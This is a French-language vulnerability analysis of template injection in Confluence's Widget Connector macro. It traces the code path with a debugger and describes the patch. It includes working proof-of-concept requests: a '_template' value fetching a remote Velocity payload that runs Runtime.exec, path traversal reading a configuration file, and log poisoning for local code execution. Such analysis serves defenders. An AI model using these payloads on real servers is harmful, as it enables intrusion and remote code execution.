
Injection de modèles non autorisée dans Confluence
confluence.home pour qu'elle pointe vers le répertoire de Confluence Home dans le fichier ./confluence/WEB-INF/classes/confluence-init.propertiesCATALINA_OPTS pour permettre au programme de fonctionner en mode débogage à distanceAvec Windows, fichier ./bin/setenv.bat
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Avec Linux, fichier ./bin/setenv.sh
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"
Remote JVM Debug avec les valeurs host et port définies sur localhost:5005 et Command line arguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
$ su - postgres
postgres@ubuntu:~$ psql -U postgres
postgres@ubuntu:~$ psql -U postgres
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.
postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
CREATE ROLE
postgres=# CREATE DATABASE wiki OWNER wiki;
CREATE DATABASE
postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
GRANT
Vous devez ajouter les jars : ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar dans lib afin de pouvoir voir le code source nécessaire lors du débogage.
Lancez le fichier ./bin/start-confluence.bat et vous pouvez également consulter ce guide pour installer à partir du source.
Après avoir lu la description, on peut comprendre que ce bug provient de la fonctionnalité Widget Connector. J'ai donc cherché sur Google pour savoir ce qu'est cette fonctionnalité et comment l'utiliser :
pour éditer une page

Choisir Autres macros
Choisir Widget connector

J'ai choisi des paramètres au hasard puis cliqué sur Preview, avant de passer sur Burp pour voir si quelque chose d'intéressant s'y trouvait.

Dans ce paquet, j'ai vu un paramètre "pluginKey":"com.atlassian.confluence.extra.widgetconnector". J'ai donc supposé que la fonctionnalité Widget Connector est définie dans la classe com.atlassian.confluence.extra.widgetconnector et j'ai cherché dans le chemin pour voir s'il y avait un jar suspect.

J'ai essayé d'ajouter le fichier ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar dans lib du projet pour pouvoir lire le code source et déboguer.
Comment ajouter un fichier jar dans lib
En ouvrant le paquet widgetconnector, j'ai été attiré par la classe WidgetMacro. J'ai donc placé un point d'arrêt dans le constructeur et la fonction execute de cette classe pour voir si elle est appelée lorsque je fais un Preview 🕵️

La fonction execute est appelée, puis le programme appelle DefaultRenderManager.getEmbeddedHtml

On voit que pour entrer dans le if, il faut satisfaire la condition widgetRenderer.matches(url). Nous procédons donc à la vérification de la fonction dans la classe
widgetRenderer.matches(url)YoutubeRenderer

Il faut donc que le paramètre url soit un lien vers une vidéo YouTube (ou Vimeo, Twitter, ...). J'ai défini url comme l'URL d'une vidéo YouTube quelconque et le programme est entré dans le if, puis a appelé la fonction widgetRenderer.getEmbeddedHtml(url, params) (classe YoutubeRenderer)

Le programme saute à la fonction setDefaultParam où l'on voit un paramètre caché _template qui semble suspect :)

Après avoir quitté la fonction setDefaultParam, le programme appelle la fonction DefaultVelocityRenderService.render

On continue avec les fonctions getRenderedTemplate et VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)


Ensuite, VelocityUtils.getRenderedTemplate(String templateName, Context context) et getRenderedTemplateWithoutSwallowingErrors(templateName, context)

La fonction renderTemplateWithoutSwallowingErrors

Le programme appelle la fonction getTemplate, puis VelocityEngine.getTemplate et RuntimeInstance.getTemplate. Là, on voit qu'il appelle la fonction getResource avec comme paramètre d'entrée la valeur du paramètre _template. En Java, la fonction getResource peut être utilisée pour charger une ressource sous forme de fichier local ou de fichier sur Internet (via le protocole HTTP).
Stop et réfléchissons : cela permettrait-il à un attaquant d'injecter un template quelconque (depuis le serveur local ou depuis l'hôte de l'attaquant) dans le programme en ajoutant le paramètre _template à la requête ??

Nous continuons à remonter le fil pour voir comment le programme traite le template une fois obtenu :
Une fois le template récupéré, le programme appelle VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

Puis il appelle template.merge(context, writer);
public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
if (this.errorCondition != null) {
throw this.errorCondition;
} else if (this.data == null) {
String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
throw new RuntimeException(msg);
} else {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.setMacroLibraries(macroLibraries);
if (macroLibraries != null) {
for(int i = 0; i < macroLibraries.size(); ++i) {
try {
this.rsvc.getTemplate((String)macroLibraries.get(i));
} catch (ResourceNotFoundException var17) {
this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
throw var17;
} catch (ParseErrorException var18) {
this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
throw var18;
} catch (Exception var19) {
throw new RuntimeException("Template.merge(): parse failed in template " + (String)macroLibraries.get(i) + ".", var19);
}
}
}
if (this.provideScope) {
ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
}
try {
ica.pushCurrentTemplateName(this.name);
ica.setCurrentResource(this);
((SimpleNode)this.data).render(ica, writer); ### POC có thể được render ở đây ###
} catch (StopCommand var20) {
if (!var20.isFor(this)) {
throw var20;
}
if (this.rsvc.getLog().isDebugEnabled()) {
this.rsvc.getLog().debug(var20.getMessage());
}
} catch (IOException var21) {
throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
} finally {
ica.popCurrentTemplateName();
ica.setCurrentResource((Resource)null);
if (this.provideScope) {
Object obj = ica.get(this.scopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.scopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.scopeName, scope.getReplaced());
} else {
ica.remove(this.scopeName);
}
}
}
}
}
}
SimpleNode.render. Cette fonction utilise un template Velocity pour analyser le template. À ce stade, on voit qu'il est possible d'écrire un PoC d'exécution de code à distance (RCE) :Requête POST lors de la demande de la fonctionnalité Preview
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Cookie: seraph.confluence=; JSESSIONID=
Connection: close
{
"contentId":"622594",
"macro": {
"name":"widget",
"body":"","params": {
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"width":"10",
"height":"10",
"_template":"https://pastebin.com/raw/JPEpiuLG"
}
}
}
fichier du payload
#set($x="x")
$x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

WidgetMacro: execute
-> DefaultRenderManager: getEmbeddedHtml
-> YoutubeRenderer: getEmbeddedHtml
-> DefaultVelocityRenderService: render -> getRenderedTemplate
-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
-> VelocityEngine: getTemplate
-> RuntimeInstance: getResource
-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
-> Template: merge
=> SimpleNode: render
Nous avons donc reproduit ce bug avec succès, mais dans le cas où la cible est un serveur qui bloque les requêtes sortantes, l'attaquant ne peut pas récupérer de ressource depuis Internet ; il ne peut accéder qu'aux fichiers locaux du serveur.
J'ai reçu une suggestion selon laquelle l'utilisateur pourrait, d'une manière ou d'une autre, injecter un payload dans le fichier journal. C'est une assez bonne idée, alors je me suis immédiatement creusé la tête pour trouver comment.

POST /rest/analytics/1.0/publish/bulk envoyant plusieurs paires clé-valeur comme ci-dessus.[{"name":"browser.metrics.navigation",
"properties":{
"apdex":"0.5",
"firstPaint":"528",
"isInitial":"true",
"journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
"key":"confluence.dashboard.view",
"navigationType":"0",
"readyForUser":"1117",
"redirectCount":"0",
"resourceLoadedEnd":"499",
"resourceLoadedStart":90.35499999299645,
"threshold":"1000",
"unloadEventStart":"47",
"unloadEventEnd":"47",
"fetchStart":"25",
"domainLookupStart":"25",
"domainLookupEnd":"25",
"connectStart":"25",
"connectEnd":"25",
"requestStart":"27",
"responseStart":"28",
"responseEnd":"37",
"domLoading":"52",
"domInteractive":"538",
"domContentLoadedEventStart":"538",
"domContentLoadedEventEnd":"691",
"domComplete":"1176",
"loadEventStart":"1176",
"loadEventEnd":"1176",
"userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
"pageEnd":"531",
"isBigPipeEnabled":"false",
"serverDuration":"339",
"requestCorrelationId":"36006c54d2919ecd",
"resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
"userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
}]
resourceTiming pouvait être modifiée à volonté tout en étant consignée dans le journal.
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"/../../WEB-INF/classes/confluence-init.properties",
"width":"11",
"height":"11"
}
}
}
POST /rest/tinymce/1/macro/preview HTTP/1.1
{
"contentId":"1507329",
"macro":{
"name":"widget",
"body":"",
"params":{
"url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
"_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
"width":"11",
"height":"11"
}
}
}
Dans le correctif, la classe WidgetMacro a été enrichie d'une fonction doSanitizeParameters qui supprime le paramètre "_template" avant d'appeler renderManager.getEmbeddedHtml(url, parameters);
